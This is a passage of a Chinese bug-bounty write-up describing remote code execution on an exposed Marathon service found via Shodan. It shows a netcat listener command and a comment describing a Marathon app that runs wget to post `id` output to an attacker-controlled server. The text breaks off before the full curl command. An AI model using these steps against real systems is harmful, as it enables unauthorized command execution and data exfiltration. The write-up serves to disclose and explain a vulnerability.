挖洞经验 | 通过Shodan发现目标应用Marathon服务的RCE漏洞( 四 )

这样一来 , 我就可以在我自己的服务器上来部署监听上述Marathon服务的实例了 , 通过此种方法 , 间接实例对Marathon服务的的远程代码执行(RCE) , 方法如下:

1、在我自己的服务器上设置对端口55555的监听:

#set your own server to wait the response

root@h0st:~# nc -lvvv 55555

2、用Curl命令创建一个 Marathon 服务运行实例 , 并通过该实例来执行cmd命令 , 其中的attacker_server即为我服务器的IP地址 。 具体命令如下:

# create a marathon application that will be execute any command that you want (in this case is /usr/bin/wget --user-agent=marathon-id --post-data=https://mparticle.uc.cn/api/`id`)

# replace attacker_server with your listening server that you set up with netcat and the \"rce-id\" tag with your own custom tag this is the Marathon application name

推荐阅读